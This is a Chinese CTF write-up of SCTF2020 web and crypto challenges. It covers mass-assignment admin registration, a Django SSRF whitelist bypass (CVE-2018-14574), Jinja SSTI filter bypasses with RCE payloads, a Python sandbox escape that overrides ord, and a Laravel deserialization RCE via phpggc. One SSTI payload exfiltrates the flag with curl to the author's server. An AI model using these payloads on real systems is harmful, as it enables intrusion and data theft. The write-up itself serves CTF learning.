Syclover 比较良心,比赛结束不久就放出了 docker 与 wp:https://github.com/SycloverSecurity/SCTF2020。跟着复现学习一下。
Web
CloudDisk
参考:https://github.com/dlau/koa-body/issues/75。
flag在当前目录下:
Jsonhub
主要参考:https://evi0s.com/2020/07/06/sctf-2020-web-writeup/。
给了docker,分析源码。
我们需要getshell,web2 里有个明显的 SSTI,但是 web2 开在默认的 5000 端口没有映射出来,显然是通过 web1 进行 SSRF。web1 中 rpc可以发出 post 请求,但是需要本地访问,/home 路由提供了一个 SSRF 的功能,所以我们的思路很清晰了:
1 | /home处SSRF -> flask_rpc处SSRF请求web2 -> web2处SSTI getshell |
但是这中间有很多阻碍:
- 我们需要拿到 token,才可以使用 /home 处的 SSRF 功能;
- /home 的 SSRF 对 ip 限制为 39.104.19.182,而我们要 127.0.0.1,需要bypass;
- web2 对 SSTI 进行了过滤,需要绕过
before_request
与正则。
获取 token
可以发现,登陆 admin 可以拿到 token。
问题出在注册这里:
1 | def reg(request): |
把 json loads 之后全部传进了 create_user,导致 Mass Assignment vulnerability。
本地剪个 admin 账户:
1 | root@8eb21982749e:/app/web1# python3 manage.py createsuperuser --username=admin --email=admin@qq.com |
照着这些,传进去多个 fields:
1 | POST /reg/ HTTP/1.1 |
这样就注册了个 admin 的账户,然后/admin 登陆:
可以拿到 token。
SSRF Whit_list bypass
过滤的很死:
1 | import re |
Django==2.0.7 的版本,有个 CVE-2018-14574,可以 bypass 这个过滤。
1 | http://39.104.19.182//127.0.0.1:8000/rpc? |
可以请求 rpc了。
SSTI bypass
首先有个 WAF:
1 | def before_request(): |
因为是 json,支持 \u 编码,直接编码就可以绕过。这个点在 2018 年 HCTF 的 Kzone 出现过,当时是非预期,用 \u 编码绕过了所有的sql注入的过滤。
还有个正则:
1 | if re.search("[a-z]", num1, re.I) or re.search("[a-z]", num2, re.I) or not re.search("[+\-*/]", symbols): |
num1 和 num2 不能出现英文字符。因为这是在解码后了,没法用 json 编码绕过。
使用 Python 8 进制转义字符绕过:
1 | ✘ ⚙ ~ python3 |
但是这种方式仅仅可以渲染出字符,类似使用 .
来进行方法调用,比如 os.popen,这种都是无效的,有些可以通过 [‘popen’] 这种引用这种方法进行绕过。
接下来就是常规 SSTI RCE了,这个题比较奇怪,我明明都构造出了 system 方法,但是执行命令不可以,popen 我用了几种方式也是不行。
1 | {{''['__class__']['__bases__'][0]['__subclasses__']()[117]['__init__']['__globals__']['popen']('ls')}} |
这个payload 还可以,但是将命令换成 pwd
就报错了,神奇…
最后用的 subprocess 中的 Popen,将数据外带,也是各种不行。最后终于调好了个能用的:
1 | {{ { }['__class__']['__mro__'][1]['__subclasses__']()[409](['bash','-c','curl vps/`/readflag`'])}} |
我这里测试,加 port 都不行,或者 curl 后面加个 http:// 也会GG,真是玄学。
exp:
1 | import requests |
Pysandbox
做题的时候思路总是局限在 Python 绕过括号调用方法,其实这是不行的。。。思路还是太僵硬了。
可以把 flask static的目录设置成 /,这样就任意下载文件了。
1 | POST /?POST=%3f HTTP/1.1 |
不能用字符,就凑一个字符串出来。然后访问 /static/app/flag。
Pysandbox2
需要 RCE。看了 WP 师傅们的思路都 tql。感觉最骚的是把 ord 函数给改了… 直接把 waf 干了,参考:https://imagin.vip/?p=1489#pysandbox2。
__builtins__.__dict__[‘ord’]
是我们正常使用的 ord,把这个函数改成一个返回恒定值的,就可以无视 waf 了。
1 | __builtins__.__dict__['ord'] = lambda args:42 |
但是过滤了空格和引号,空格可以用 *args 代替。
1 | __builtins__.ord=lambda*args:42 |
本地试一下:
1 | ✘ ⚙ ~ python3 |
然后就可以任意命令执行,反弹shell了。
bestlanguage
这个题被非预期了,题目代码根本没用,Larval 版本是 5.5.39,CVE-2018-15133,参考https://xz.aliyun.com/t/6533,直接打。
使用 phpggc。
1 | phpggc master php phpggc Laravel/RCE2 'system' 'cat /flag' -b |
照着加密逻辑,改改:
1 |
|
1 | ⚙ 2020 SCTF php CVE-2018-15133.php |
预期解在这里:https://github.com/SycloverSecurity/SCTF2020/tree/master/Web/bestlanguage/Write-up
Crypto
RSA
类似 2019 HITCON Quals Not So Hard RSA,参考:https://gist.github.com/hellman/383dd8cf6f753fff55b98cf424f2e94e,改改数据跑脚本就行了。
1 | ⚙ 2020 SCTF sage rsa.sage |